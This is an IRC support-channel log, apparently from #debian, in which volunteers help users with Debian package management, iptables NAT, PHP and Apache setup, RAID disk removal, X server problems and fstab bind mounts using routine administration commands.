| 20:23.48 | Sweetandy | I'm using ircii. Can I join multiple channels? |
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| 20:23.52 | pickcoder | apt-get -s remove gcc-4.2-base |
| 20:23.58 | pickcoder | that will simulate removal |
| 20:24.01 | pickcoder | and report on it |
| 20:24.04 | sybariten | stew: not sure, maybe some things come in as default in the beginning, wiuthout me explicitly installing them... i dunno |
| 20:24.15 | sybariten | a list of all installed packages could do fine i guess |
| 20:24.34 | stew | sybariten: a list of all installed packages can be retrieved via "dpkg -l | grep ^.i" |
| 20:24.44 | sybariten | stew: thank you very much |
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| 20:25.10 | stew | sybariten: things that are installed not explicitly but to satisfy dependencies isn't tracked unless you use aptitude |
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| 20:25.24 | diclophis-work | keith4: looks useful, however might be more than i want to setup for my sherlock holmes investigation of a bug |
| 20:25.52 | NickAm | ok its done... |
| 20:26.18 | pickcoder | NickAm: apt-get clean |
| 20:26.25 | pickcoder | which repository are you using? |
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| 20:26.26 | sybariten | stew: hmmm, how do you mean. You mean, if i look in aptitude instead, i will get a more thorough list, containing things that were installed because of dependenvcies ...? |
| 20:26.44 | NickAm | done.. |
| 20:26.44 | gues2 | my problem is who my user don't get groups essential |
| 20:26.57 | gues2 | as floppy drive and cdrom |
| 20:27.00 | stew | sybariten: no, i'm saying if you had installed everything via aptitude, you could then retrieve such a list. if you didn't use aptitude to install them, that information isn't available |
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| 20:27.07 | Sweetandy | Is it even possible |
| 20:27.10 | NickAm | repository? |
| 20:27.12 | Sweetandy | to join more than one channel? |
| 20:27.21 | stew | gues2: what is your native language? |
| 20:27.25 | pickcoder | NickAm: your sources.list entries for getting packages |
| 20:27.31 | stew | Sweetandy: yes, but it depends on which irc client you are using |
| 20:27.40 | NickAm | i guess its the default ones... |
| 20:27.48 | Sweetandy | stew: ah... I guess I'll just go through documentation etc. |
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| 20:28.08 | stew | Sweetandy: in general, "/join #channelname" would join an additional channel |
| 20:28.12 | pickcoder | paste your /etc/apt/source.list in a pastebin |
| 20:28.18 | stew | !br |
| 20:28.18 | dpkg | Esse canal e apenas em ingles. Por favor, use #debian-br (/j #debian-br) para ajuda em portugues. |
| 20:28.19 | pickcoder | gah |
| 20:28.24 | pickcoder | <PROTECTED> |
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| 20:28.34 | stew | gues2: please don't /msg me |
| 20:28.38 | sybariten | stew: oh. ok. aptitude is that sexy curses interface to dpkg/apt-get isnt it? |
| 20:28.43 | NickAm | pickcoder: it says No such file or directory |
| 20:28.44 | NickAm | :-s |
| 20:28.45 | NickAm | weired |
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| 20:28.55 | gues2 | excuse-me |
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| 20:28.57 | stew | gues2: i don't know anything about nis. if you would be better off speaking portugues, try #debian-br or try #debian-br on irc.debian.org |
| 20:29.02 | pickcoder | it's supposed to be plural.. "sources.list" |
| 20:29.14 | stew | gues2: the questions you have been asking so far aren't making complete sense |
| 20:29.50 | stew | NickAm: put the output of "apt-cache policy" into a pastebin |
| 20:30.00 | PrinceAMD | where can i find iptables configuration file? |
| 20:30.07 | pickcoder | or that... |
| 20:30.19 | stew | PrinceAMD: there isn't one |
| 20:30.27 | NickAm | pickcoder: http://paste.uni.cc/16260 |
| 20:30.44 | PrinceAMD | stew so suppose i have a script how do i tell iptables use it? |
| 20:31.03 | pickcoder | hm |
| 20:31.27 | NickAm | stew: http://paste.uni.cc/16261 |
| 20:31.35 | sybariten | stew: uhm i have to admit i dont understand what that grep part does. Is it omitting anything containing .i ? coz i cant see that even have anything like that in the original listing. |
| 20:31.44 | stew | PrinceAMD: if you have a script which is used to protect an interface, run it from a pre-up for that interface line in /etc/network/interfaces (man interfaces), or create an init script for it and run it at startup (read /etc/init.d/README) |
| 20:31.52 | pickcoder | uh |
| 20:32.06 | pickcoder | why are you mixing testing and unstable? |
| 20:32.31 | NickAm | i didnot, the box came with it.. |
| 20:32.32 | stew | sybariten: it should limit the results to only match things with an i in the second column "^" means "beginning of line" "." means "anything" so the whole thing means "i in the second column" |
| 20:32.37 | PrinceAMD | stew thanks |
| 20:33.15 | pickcoder | have you done an upgrade using apt or aptitude? |
| 20:33.26 | NickAm | yes..just few hours back |
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| 20:33.40 | pickcoder | dpkg -l libc6 |
| 20:33.40 | dpkg | No packages found matching libc6 |
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| 20:34.40 | stew | pickcoder: what are you getting at? |
| 20:34.54 | pickcoder | he has two repos.. one for testing and one for unstable |
| 20:34.59 | pickcoder | I dunno what's there right now |
| 20:35.13 | hark | sid is at priority 99 only |
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| 20:36.25 | stew | are we still just trying ot get gcc-4.2-base installed? |
| 20:36.26 | NickAm | any hope ? |
| 20:36.32 | NickAm | yes.. lol |
| 20:36.35 | stew | i wonder why that pacakge is priority: required at all |
| 20:36.54 | pickcoder | ok.. so if we assume that it's all Lenny, then the only assumption is that the .deb on ftp.de is missing a .copyright file in the docs |
| 20:37.12 | pickcoder | which doesn't make sense |
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| 20:37.16 | NickAm | well it says its lenny |
| 20:37.37 | stew | NickAm: can you pastebin "apt-cache policy gcc-4.2-base" |
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| 20:37.51 | stew | since that seems to be what pickcoder is actually after, not the libc6 version |
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| 20:38.00 | pickcoder | stew: it's gone |
| 20:38.07 | NickAm | sure. |
| 20:38.09 | stew | pickcoder: whta's gone? |
| 20:38.09 | pickcoder | and I had him clean the downloads |
| 20:38.26 | pickcoder | I wanted to make sure the package wasn't coming from unstable |
| 20:38.43 | pickcoder | before a re-install attempt |
| 20:38.53 | pickcoder | if you have a better path to take, then go for it |
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| 20:39.09 | NickAm | http://paste.uni.cc/16263 |
| 20:39.11 | NickAm | there |
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| 20:39.36 | stew | pickcoder: yes, well "apt-cache policy gcc-4.2-base" will tell you what you are looking for, which is whether he is trying to install the testing or the unstable version |
| 20:39.59 | NickAm | dey both are there.. |
| 20:40.13 | stew | and he is trying to install the testing version |
| 20:40.19 | yetifoot | hi, i'm using kde 3.5.5 in etch, and was wondering if people have found the newer KDE's konq that is in unstable to be more stable with the flash plugin. I asked in #kde, and they directed me here, saying its likely distro specific, i am on x86 |
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| 20:40.24 | pickcoder | I see that.. thanks for the tip |
| 20:40.32 | dmb | hey, is there a debian development channel? |
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| 20:41.00 | pickcoder | if the package on ftp.de is good, then a reinstall should work |
| 20:41.07 | yetifoot | dmb, there are a lot more debian channels on irc.debian.org, they probably home all the dev channels |
| 20:41.07 | pickcoder | if it doesn't work, then the package is broken there |
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| 20:42.08 | stew | NickAm: can you show me the output of "ls -l /usr/share/doc/gcc-4.2-base/{copyright,.copyright}" |
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| 20:42.35 | NickAm | ls: /usr/share/doc/gcc-4.2-base/copyright: No such file or directory |
| 20:42.42 | NickAm | ls: "/usr/share/doc/gcc-4.2-base/copyright:" No such file or directory |
| 20:43.05 | stew | NickAm: run "touch /usr/share/doc/gcc-4.2-base/copyright" then run "dpkg --configure -a" |
| 20:43.06 | NickAm | -rw-r--r-- 1 root root 0 Jun 11 22:20 "/usr/share/doc/gcc-4.2-base/.copyright" |
| 20:43.17 | pickcoder | it's the dotfile that's missing |
| 20:43.21 | stew | pickcoder: no, its not |
| 20:43.29 | pickcoder | stew: I had him touch the file earlier |
| 20:43.36 | pickcoder | and the reconfigure didn't work |
| 20:43.44 | stew | pickcoder: touch /usr/share/doc/gcc-4.2-base/.copyright |
| 20:43.45 | NickAm | ls: /usr/share/doc/gcc-4.2-base/copyright: No such file or directory |
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| 20:43.55 | NickAm | same error |
| 20:43.56 | stew | pickcoder: that's what you had him run. that file wasn't missing, copyright was |
| 20:44.10 | stew | NickAm: run "touch /usr/share/doc/gcc-4.2-base/copyright" |
| 20:44.17 | pickcoder | the installer error states the .copyright is missing |
| 20:44.18 | sybariten | stew: ok, yeah i noticed i had a lot of "ii" responses. Thanks for the grep explanation! I did see a huge list of stuff that were like helper libraries and such though... but maybe i can decode which ones were explicitly installed by me. |
| 20:44.23 | pickcoder | but anyway |
| 20:44.29 | stew | pickcoder: .copyright isn't missing copyright is. read the .postinst |
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| 20:44.42 | pickcoder | ok |
| 20:44.43 | stew | sybariten: what are you actually trying to do? |
| 20:45.30 | stew | sybariten: i mean, why are you trying ot generate this list. what are you planning to do? remove unneeded pacakges? |
| 20:45.39 | NickAm | stew: ln: accessing `/usr/share/doc/gcc-4.2-base/.changelog.Debian.gz': |
| 20:45.47 | NickAm | <PROTECTED> |
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| 20:46.15 | stew | NickAm: run "touch /usr/share/doc/gcc-4.2-base/changelog.Debian.gz" then try again |
| 20:46.24 | stew | NickAm: (this means you got beyond the copyright problem) |
| 20:46.28 | sybariten | stew: gonna upgrade the system, might accidently fcuk it up. gonna backup some dotfiles and then if i have to reinstall everything from scratch, it'd be nice to have a somewhat decent list of everything i got with apt. (centericq, irssi, gnu screen, python emacs mode....) Then i would have a slightly similar system up again in a couple of hours. |
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| 20:46.34 | pickcoder | and validates the package is broken |
| 20:46.47 | sybariten | s/would/could |
| 20:46.49 | NickAm | ended up normally |
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| 20:47.04 | NickAm | Setting up libgcc1 (1:4.2-20070528-1) ... |
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| 20:47.21 | klync | i keep getting the error "connection timed out" with security.debian.org when doing apt-get update. yet, i can d/l the file in my web browser... is there something wrong with apt's cache? is there a way to fix this? |
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| 20:47.43 | centrx | maybe you are using ftp? |
| 20:47.56 | centrx | klync, check /etc/apt/sources.list if it is downloading via ftp |
| 20:48.06 | centrx | klync, the ftp service might be temporarily broken |
| 20:48.06 | yetifoot | klync, i had a problem like that once, and it was due to DNS being slow, so i had to fix that |
| 20:48.06 | klync | centrx: here's what i've got for that archive: deb http://security.debian.org/ stable/updates main contrib |
| 20:48.08 | stew | pickcoder: well i'm not sure how he got to where he got. he has a bunch of Priority: required packages that were missing. so i dont' trust that he's system was in a valid state. i just tried installing the same version of the same package freshly and it worked fine |
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| 20:48.24 | stew | pickcoder: he didn't have mktemp, which could very likely have messed up the untarring of a .deb previously |
| 20:48.30 | klync | yetifoot: well, the msgs coming back from apt report the IP address quite quickly; i don't think it's dns |
| 20:48.33 | pickcoder | that's true |
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| 20:49.03 | stew | sybariten: /msg dpkg sarge->etch |
| 20:49.07 | NickAm | so now should i resume the upgrade ? |
| 20:49.26 | stew | NickAm: dpkg --configure -a && aptitude -f install |
| 20:49.38 | stew | NickAm: then proceed with whatever you were doing when this all came up |
| 20:49.48 | yetifoot | so anyone using flash plugin in unstable and Konq? It's really unstable in etch, and i wonder if its worth upgrading |
| 20:49.51 | NickAm | ok |
| 20:50.21 | sybariten | stew: sorry, but i'm not even on real debian :) |
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| 20:50.53 | stew | sybariten: please go to a channel specific to your distribution then |
| 20:51.00 | smcavoy_ | can anyone point me to some info on how iceweasel comes up with its printer list? I have two systems with cups, one of which has CUPS/[printer] and one that has that as well as [printer]@:64 Postscript Default model. The last of which I need as it has more options in its driver (mainly duplex printing) |
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| 20:52.10 | sybariten | stew: i'm there too but i was originally just asking if there was an apt channel, since i needed apt help, and i thought the best place to ask about that channel would be in the debian channel. |
| 20:52.37 | stew | sybariten: no, you shouldn't be seeking help here |
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| 20:54.09 | sybariten | well, i was merely asking about the existence of an apt channel, thats all. i thought apt sprung from debian. |
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| 20:54.24 | stew | sybariten: there isn't an apt channel |
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| 20:54.52 | lontra | what else do i need to do besides loading the module 'video' to get my brightness buttons to work? i have a lenovo 3000 1n00 |
| 20:54.55 | yetifoot | there might be an #apt channel on the debian IRC server though?? |
| 20:55.03 | stew | yetifoot: there isn't an apt channel |
| 20:55.08 | yetifoot | ah, ok |
| 20:55.13 | sybariten | i have a vague memory of being in one |
| 20:55.29 | yetifoot | i had to go there for debian-live, they seemed to have a lot of specific channels there |
| 20:55.58 | bkw | How can I monitor a lsi 3041 sas controller, I can't find anything in /proc/mpt that gives useful information about the disk status. |
| 20:56.48 | yetifoot | heh, there is an #apt channel registered, but theres no one on it |
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| 20:56.58 | SKOM | hiall |
| 20:57.27 | SKOM | whats the size of the 2nd and 3rd DVD of Etch 4.0r0 ? |
| 20:57.46 | mick_home | anyone get project looking glass working on Debian? i haven't tried it yet - but i'd like to know if anyone has gotten it to work |
| 20:58.17 | krazykit | if it compiles on other distros, chances are vastly in favor of it compiling on debian. |
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| 20:59.12 | SKOM | hey! please, tell me |
| 20:59.39 | stew | SKOM: a little over 4 gigs, you can go to cdimage.debian.org and see from yourself from one of the http or ftp mirrors. the exact number differs depending on the arch |
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| 20:59.54 | yetifoot | SKOM, can't you start the download, then that should show you the size? |
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| 21:00.06 | SKOM | opera wrote 4.4 GB |
| 21:00.22 | SKOM | KGET wrote 368 MB |
| 21:00.25 | PrinceAMD | stew iptables will not accept my virtual network eth0:0 how do i change it's name but keep it at eth0:0 |
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| 21:00.41 | SKOM | thats the problem |
| 21:00.51 | stew | PrinceAMD: use eth0 |
| 21:00.53 | yetifoot | hmm, fun, SKOM, i would be more likely to believe 4.4GB for the second CD at least |
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| 21:01.44 | PrinceAMD | stew eth0 have my internet eth0:0 have my network behind this pc |
| 21:02.14 | PrinceAMD | using the same networkcard stew |
| 21:02.16 | yetifoot | SKOM, here shows the sizes: http://mirrors.kernel.org/debian-cd/4.0_r0/i386/iso-dvd/ |
| 21:02.24 | lontra | i have the module video loaded and i am trying to get my brightness buttons to work but i'm not sure what i else i need to do ... i know i can get this to work but i had to reinstall |
| 21:03.13 | SKOM | wget lies |
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| 21:03.43 | bulio| | I think I have php4 and php5 installed |
| 21:03.48 | bulio| | how can I remove php4? |
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| 21:04.01 | stew | PrinceAMD: you can't reliably protect the eth0:0 network anyway. and iptables doesn't know anything about this virtual interface. all the traffic will be coming in on eth0 as far as iptables is concerned |
| 21:04.17 | bulio| | also, I just ran apt-get dist-upgrade |
| 21:04.24 | bulio| | is this going to harm my system? |
| 21:04.40 | bulio| | since I was running sarge, and am upgrading to etch |
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| 21:04.59 | stew | bulio|: you can remove php4 with "aptitude remove php4-common" |
| 21:05.08 | stew | bulio|: /msg dpkg why not dist-upgrade |
| 21:05.21 | stew | bulio|: oh, that is not how you should upgrade to etch: /msg dpkg sarge->etch |
| 21:05.38 | bulio| | I know |
| 21:05.44 | mick_home | damn the builds only are for x86 |
| 21:05.57 | stew | bulio|: so yes. apt-get dist-upgrade can harm your system |
| 21:06.22 | stew | bulio|: it is recommended that you use aptitude, and follow the procedure in the release notes |
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| 21:06.49 | PrinceAMD | stew ok , thanks for that info, so how am i going get get net on the other pc on eth0:0 |
| 21:07.15 | stew | PrinceAMD: what network is on eth0:0 |
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| 21:07.49 | PrinceAMD | stew a private network 192.168.0.*** |
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| 21:08.24 | bulio| | If I remove mysql 4.x and install 5.x will I lose all my databases? |
| 21:08.31 | stew | PrinceAMD: iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -j MASQUERADE |
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| 21:08.38 | lontra | i have the module video loaded and i am trying to get my brightness buttons to work but i'm not sure what i else i need to do ... i know i can get this to work but i had to reinstall ... i can get brightness to work from konsole but not by hitting fn + f10 or +f11 |
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| 21:08.58 | stew | bulio|: no. they will be converted to mysql 5 (and you can't convert back, so make a backup) |
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| 21:09.23 | bulio| | stew: yeah, I have a backup |
| 21:11.36 | bulio| | how do I remove PHP4 on debian, and install php5 |
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| 21:11.45 | bulio| | so it works with apache2? |
| 21:12.08 | dondelelcaro | bulio|: aptitude install libapache2-mod-php5 |
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| 21:12.42 | bulio| | thanks |
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| 21:13.17 | bulio| | still doesn't work |
| 21:13.21 | bulio| | http://coyote-na.com |
| 21:13.29 | bulio| | whoops |
| 21:13.40 | dondelelcaro | bulio|: doesn't work in what way? |
| 21:13.48 | cbeok | Does anybody know of a dms that supports file tagging and document searches that has a web browser interface that isn't owl? (I know thats a lot of constraints.) |
| 21:13.49 | bulio| | http://coyote-na.com/coyote |
| 21:13.57 | bulio| | that link asks me to download my page |
| 21:13.59 | dondelelcaro | bulio|: have you restarted apache? what does HEAD localhost; return? |
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| 21:14.38 | bulio| | http://rafb.net/p/xDrOOV21.html |
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| 21:14.39 | stew | (does one have to a2enmod php5?) |
| 21:14.48 | RichiH | !A70DAF536070D3A1 |
| 21:14.48 | dpkg | rumour has it, a70daf536070d3a1 is see http://forums.debian.net/viewtopic.php?t=10285, or see http://www.debian-multimedia.org/faq.html |
| 21:14.52 | pingouin | what can i use to convert file.ogg to file.mp3 ? |
| 21:15.04 | pickcoder | bulio|: it displayed a graphics error page for me |
| 21:15.10 | dondelelcaro | !php wants me to download still |
| 21:15.11 | dpkg | if you've read all of /usr/share/doc/php*-common/README.Debian.gz and followed its instructions *and* have reloaded apache, clear your browser cache, and restart your browser. |
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| 21:15.40 | bulio| | I did install the gd image library right before things began mucking up |
| 21:15.43 | bulio| | how can I remove it? |
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| 21:15.54 | bulio| | php4-gd |
| 21:16.03 | dondelelcaro | bulio|: just install php5-gd |
| 21:16.13 | PrinceAMD | stew still nothing , do u think it could be a problem with the dns on the pc under eth0:0 |
| 21:16.15 | bulio| | with apt-get? |
| 21:16.16 | dondelelcaro | bulio|: but in any event, your site works. You just haven't restarted your browser. |
| 21:16.21 | dondelelcaro | bulio|: use aptitude, but yes. |
| 21:17.13 | bulio| | http://coyote-na.com/coyote works? |
| 21:17.24 | bulio| | it doesnt seem to for me |
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| 21:17.47 | stew | bulio|: it says "The database adapter is not available" perhaps you need to install php5-mysql or php5-pgsql? |
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| 21:18.17 | stew | bulio|: but it appears php is working |
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| 21:18.59 | KOSHrf | hi, im trying to make a debian mirror using the debian DVD set, i have tried with apt-move but it only uses the /var/cache/apt/ it doesnt read my dvd, anyone have tried to do this using apt-move? |
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| 21:19.03 | bulio| | ok, php is working |
| 21:19.06 | bulio| | now for mysql |
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| 21:19.21 | bulio| | it works, thanks all! |
| 21:19.31 | bulio| | works, except for my main page |
| 21:19.34 | bulio| | even with mysql |
| 21:19.39 | bulio| | but I'll look into that after |
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| 21:21.43 | KOSHrf | no one have used apt-move? to make a local mirror of debian using the dvd |
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| 21:22.36 | yetifoot | KOSHrf, yes, i use apt-move |
| 21:22.39 | ustunozgur | KOSHrf: have you tried apt-cdrom |
| 21:23.04 | yetifoot | KOSHrf, i use it to manage the stuff from /var/cache/apt/archives though, not from CD/DVD |
| 21:23.09 | KOSHrf | ustunozgur, i dont want to add a cdrom to the source.list i want to create a debian mirror using the dvd |
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| 21:23.29 | pickcoder | KOSHrf: you can tell apt-move to use a CDROM repos from sources.list |
| 21:23.35 | pickcoder | instead of downloading stuff |
| 21:23.45 | cbeok | pingouin: You might try gstreamer with the lame plugin. |
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| 21:23.53 | KOSHrf | yetifoot, ok, i think it should be a way to do it, i could just copy the whole dvd .deb to archive directory but that doesnt make sense |
| 21:24.20 | yetifoot | KOSHrf, yeah, sounds better to use something like apt-cdrom, sounds like it fits your problem better |
| 21:24.20 | cbeok | pingouin: but you need to install the lame plugin yourself, it not in debian. http://www.columbia.edu/~jr2075/gstreamer-lame-how-to.html |
| 21:24.21 | KOSHrf | pickcoder, really? how? i have the cdrom on the sources.list but when i do a apt-move mirror it just try to read my cache |
| 21:24.25 | humbolto | how can I check a HDD for bad blocks? The disk is blank or at least I can destroy all data on there. |
| 21:24.36 | pickcoder | KOSHrf: read the manpage |
| 21:24.37 | pickcoder | it's all there |
| 21:24.38 | pingouin | cbeok: ok thanks for the clue |
| 21:24.43 | pickcoder | specifically, look at APTSITES |
| 21:25.07 | KOSHrf | pickcoder, hehe i have read it but it seems i dont find my answer :\ |
| 21:25.18 | KOSHrf | aptsites |
| 21:25.18 | pickcoder | you need to create a config file for apt-move |
| 21:25.19 | KOSHrf | ok |
| 21:25.21 | KOSHrf | let me see |
| 21:25.25 | pickcoder | with localdir, aptsites, distr, etc |
| 21:26.08 | ustunozgur | KOSHrf: also see /msg dpkg apt-move |
| 21:26.32 | KOSHrf | pickcoder, thanks for the info. |
| 21:27.49 | lontra | i have the module video loaded and i am trying to get my brightness buttons to work but i'm not sure what i else i need to do ... i know i can get this to work but i had to reinstall ... i can get brightness to work from konsole but not by hitting fn + f10 or +f11 |
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| 21:28.47 | KOSHrf | pickcoder, the APTSITES is set to "all" but it doesnt use the cdrom it just check for other kind of sources. |
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| 21:30.19 | cbeok | Does anybody know of a dms that supports file tagging and document |
| 21:30.19 | cbeok | searches that has a web browser interface that isn't owl? (I know |
| 21:30.19 | cbeok | thats a lot of constraints.) |
| 21:30.23 | cbeok | cripes! sorry. |
| 21:31.08 | pickcoder | KOSHrf: /all/ will only pull ftp/http repos |
| 21:31.31 | KOSHrf | looks like, anyway to pull from the cdrom if it is mounted? |
| 21:31.38 | KOSHrf | any way* |
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| 21:32.19 | pickcoder | KOSHrf: you need to url-encode the drive name that apt-cdrom put in sources.list |
| 21:32.28 | pickcoder | and specify it in APTSITES |
| 21:33.17 | pickcoder | if you have 10 DVDs with different names in sources.list, then you will need to list all 10 url-encoded drive names under APTSITES |
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| 21:34.28 | pickcoder | KOSHrf: http://www.mail-archive.com/linux-leman@alphanet.ch/msg10266.html |
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| 21:34.33 | pickcoder | that's an example for cdroms |
| 21:34.59 | KOSHrf | woot!!! thanks a lot :D |
| 21:35.06 | KOSHrf | that will do it, thanks. |
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| 21:38.58 | lontra | i have the module video loaded and i am trying to get my brightness buttons to work but i'm not sure what i else i need to do ... i know i can get this to work but i had to reinstall ... i can get brightness to work from konsole but not by hitting fn + f10 or +f11 |
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| 21:39.42 | simonrvn | sn0: it's ok, if you did know, you'd be saying something different than that. thanks, and TC :) |
| 21:39.46 | jduggan_ | hi all, does anyone know how to manually force a disk out of a md0 array? i get device or resource busy |
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| 21:39.56 | jduggan_ | when i try and -r /dev/sdb3 |
| 21:40.02 | simonrvn | it's because it is busy ;) |
| 21:40.07 | sn0 | np :] |
| 21:40.17 | jduggan_ | simonrvn: well |
| 21:40.19 | simonrvn | gotta make it fail, then you can take it out |
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| 21:40.31 | jduggan_ | ok,how does one force a fail? |
| 21:40.37 | jduggan_ | -f? |
| 21:40.39 | pickcoder | water works well |
| 21:40.44 | pickcoder | <g> |
| 21:40.50 | simonrvn | mdadm -F IIRC. see the man page PLEASE :) |
| 21:40.52 | jduggan_ | im working remote |
| 21:40.55 | jduggan_ | otherwise i'd just remove it |
| 21:41.21 | simonrvn | pickcoder: water usually works extremely well with that sort of thing |
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| 21:42.28 | ctp | anyone here using a sony ericsson connected to a debian box? i get 3 devices /dev/ttyACM0 - /dev/ttyACM2 connecting the phone but cannot mount any filesystems on it. any hints? |
| 21:42.42 | pickcoder | bbl |
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| 21:44.08 | g0th | hi |
| 21:44.20 | g0th | I just started my pc and I see a black screen. |
| 21:44.33 | g0th | I didn't change anything since the last start. |
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| 21:44.54 | g0th | I'm running debian linux and xorg using nvidia |
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| 21:45.27 | g0th | if I kill x I see something (ie usual console etc)... |
| 21:45.48 | g0th | When I try to manually startx it says that module "wfb" is missing |
| 21:45.54 | g0th | any idea what is going on??? |
| 21:46.04 | g0th | I didn't do anything I can remember (no updates) |
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| 21:49.33 | thedonvaughn | g0th, so X just starts a blank black screen? |
| 21:49.42 | g0th | yes |
| 21:49.46 | thedonvaughn | missing module wfb is nothing to worry about it |
| 21:49.48 | thedonvaughn | hrm |
| 21:50.47 | thedonvaughn | g0th, try maybe re-install nvidia drivers... if that doesn't wory maybe try re-configuring X from scratch? |
| 21:50.48 | g0th | I don't remember doing anything except normally using my system (browse, etc) ie. no update |
| 21:51.05 | g0th | I'm now updating my system |
| 21:51.17 | g0th | since somehow it isn't able to install the nvidia driver anymore |
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| 21:52.50 | allnicksaretaken | hello |
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| 21:53.45 | mdo | hi |
| 21:53.50 | chemist | probably the wrong place to ask but how can I make irssi align usernmaes to the right? |
| 21:54.04 | g0th | thedonvaughn: I really don't want to reconfigure my xserver, the current configuration worked fine so far, what would I change when doing a new config? |
| 21:54.12 | stew | chemist: try #irssi |
| 21:54.19 | allnicksaretaken | got this weird thing happening to my bind mount... I get "you must specify the filesystem type"... I've tried "auto" that doesn't work and I've tried to actually use the real file system type and that doesn't work |
| 21:54.22 | g0th | I still have a backup and it's the same |
| 21:54.24 | allnicksaretaken | any suggestions? |
| 21:54.34 | chemist | stew: thanks |
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| 21:55.12 | thedonvaughn | weird, where'd my aptitude go? :) |
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| 21:55.35 | allnicksaretaken | thedonvaughn, on vacation, it liked the sunshine outside ;) |
| 21:55.59 | allnicksaretaken | if you find it hanging with my bind mounts... please tell them to get back home :D |
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| 21:56.41 | thedonvaughn | it's wierd, my aptitude binary is missing in action and i have no idear why |
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| 21:56.51 | thedonvaughn | it was there yesterday :) |
| 21:57.09 | mdo | i tried to dist-upgrade a testing w/ 2.4, but stuck on the upgrade of libc6 which required a 2.6 kernel. i forced the new kernel with dpkg, whose mod-utils required libc6. now i'm stuck with libc6 complaining: "POSIX threads library NPTL requires kernel version 2.6.1 or later. If you use a kernel 2.4, please upgrade it before installing glibc." |
| 21:57.26 | mdo | any idea how i can get libc6 newer version installed? |
| 21:58.13 | g0th | thedonvaughn: hmm maybe you can help me track the problem with xorg? |
| 21:58.32 | g0th | it says wfb module does not exist with EE |
| 21:58.38 | g0th | I think it is because of this that it fails |
| 21:58.48 | thedonvaughn | that's fine, it won't hurt X from starting |
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| 21:58.52 | xen_masta | thedonvaughn: same thing happened to me with my init file. Rebooting suddenly became very interesting. |
| 21:59.07 | thedonvaughn | xen_masta, hrrrmmm |
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| 21:59.31 | g0th | (II) module already built-in |
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| 22:01.03 | g0th | (EE) Failed to load module "wfb" (module does not exist, 0) |
| 22:01.04 | thedonvaughn | g0th, swith to the open source nvidia drive "nv" to see if it's your nvidia driver or not |
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| 22:01.04 | g0th | you mean in xorg.conf change nvidia to nv? |
| 22:01.04 | xen_masta | thedonvaughn: are all your other apt files in place? if so, just grab a copy of the bin and shoehorn it in there. That's what I did with /sbin/init and it worked like a charm. |
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| 22:02.25 | thedonvaughn | xen_masta, yah .. i also tried to apt-get install it again but it's complaining about missing libapt-pkg-libc6.3-6-3.11 probably will fix on the repos if i'm patient :) I am running sid :) |
| 22:02.30 | fabio_ | sorry guys...simple question....i need to run make gconfig from root or normal user? |
| 22:02.38 | allnicksaretaken | anyone got a sollution to my wee wierd problem? |
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| 22:02.47 | thedonvaughn | g0th, yes |
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| 22:03.19 | g0th | doesn't work |
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| 22:03.31 | g0th | it always gives the same message but not "wfb" module |
| 22:03.32 | thedonvaughn | g0th, you did restart X after changing that right? |
| 22:03.36 | g0th | yes |
| 22:03.39 | xen_masta | thedonvaughn: Ah. Sid. My boss gets antsy when I just try moving things to lenny. |
| 22:03.44 | g0th | instead it speaks about "nv" module |
| 22:03.52 | thedonvaughn | xen_masta, it's my personal desktop tho |
| 22:03.54 | g0th | or if I enter an arbitrary name it says "name" module |
| 22:04.11 | g0th | so you're sure it's not related to the "wfb" message? |
| 22:04.19 | thedonvaughn | g0th, well remove wfb from xorg.conf then |
| 22:04.20 | g0th | since it's the only thing that changes for different drivers |
| 22:04.29 | g0th | I don't have wfb anywhere there |
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| 22:05.06 | thedonvaughn | g0th, paste your /var/log/Xorg.0.log to pastebin |
| 22:05.23 | thedonvaughn | g0th, put nvidia back in tho |
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| 22:05.35 | g0th | I don't know how to copy it there |
| 22:05.36 | gnat_x | i am trying to set the the session cookie lifetime for php to 0 (get rid of sessions on browser close), i know that debian handles sessions differently than standard php installs, so i am wondering what file i need to edit to make this setting take appropriately. |
| 22:05.45 | allnicksaretaken | Now perhaps people will see what I'm typing eh? |
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| 22:05.56 | g0th | I upload it sec |
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| 22:06.21 | thedonvaughn | g0th, oh yah no X :) There are some utilities that will do it from cli. |
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| 22:06.34 | g0th | wow |
| 22:06.45 | g0th | now I saw a graphical x!! |
| 22:06.52 | allnicksaretaken | anyone feel they know bind mounts by heart? |
| 22:06.54 | g0th | I'm currently running an update |
| 22:06.59 | g0th | might be related to this |
| 22:07.24 | g0th | hmm no it still fails |
| 22:07.32 | g0th | but I somehow manged to see a grey screen! :) |
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| 22:07.58 | g0th | ahh |
| 22:07.59 | thedonvaughn | g0th, how are you starting X? |
| 22:08.08 | g0th | when I press the mouse I see the grey screen |
| 22:08.12 | g0th | currently using startx |
| 22:08.17 | thedonvaughn | g0th, you are starting a wm right? |
| 22:08.22 | thedonvaughn | i.e. in your .xinitrc or something? |
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| 22:08.50 | g0th | it works :) |
| 22:08.50 | g0th | all works |
| 22:08.50 | fabio_ | sorry guys...simple question....i need to run make gconfig from root or normal user? |
| 22:08.54 | g0th | I just need to press the mouse like 10 times |
| 22:08.59 | g0th | then I see everything |
| 22:09.00 | g0th | :) |
| 22:09.06 | g0th | strange |
| 22:09.34 | thedonvaughn | allnicksaretaken, i'd just ask specificly what you are trying to do. |
| 22:09.46 | g0th | sec I'll be back |
| 22:09.51 | thedonvaughn | specifically rather |
| 22:10.03 | g0th | wanna use a graphical client |
| 22:10.28 | allnicksaretaken | thedonvaughn, I'm trying to do a bind mount, and then I get this error "you must specify the filesystem type". The bind mount looks exactly like other bindmounts I've done, and still for some reason it doesn't work... any suggestions? |
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| 22:11.12 | allnicksaretaken | I've used auto as file system type... and I've also used the actual file system type... and yet... no go... then the errormessage get's even more vicious :D |
| 22:11.29 | thedonvaughn | allnicksaretaken, yes mount -o bind /foo /mnt/foo |
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| 22:11.57 | allnicksaretaken | thedonvaughn, I do it through fstab |
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| 22:12.07 | allnicksaretaken | want the bind mount to be when I start |
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| 22:12.36 | thedonvaughn | allnicksaretaken, /my/real/dir /to/mount/dir none rw,bind 0 0 |
| 22:12.40 | thedonvaughn | should be the format |
| 22:12.47 | allnicksaretaken | ah! |
| 22:12.52 | allnicksaretaken | so none is the form to use |
| 22:12.54 | thedonvaughn | that was the first example i got on google |
| 22:12.54 | allnicksaretaken | thank you :) |
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| 22:13.17 | allnicksaretaken | when I googled it all I got was some very good examples of none linux hits :/ |
| 22:13.28 | thedonvaughn | allnicksaretaken, "fstab + bind mount" is what i did :) |
| 22:13.45 | allnicksaretaken | <PROTECTED> |
| 22:13.46 | EmleyMoor | See some of you in Edinburgh on Saturday, maybe :-) |
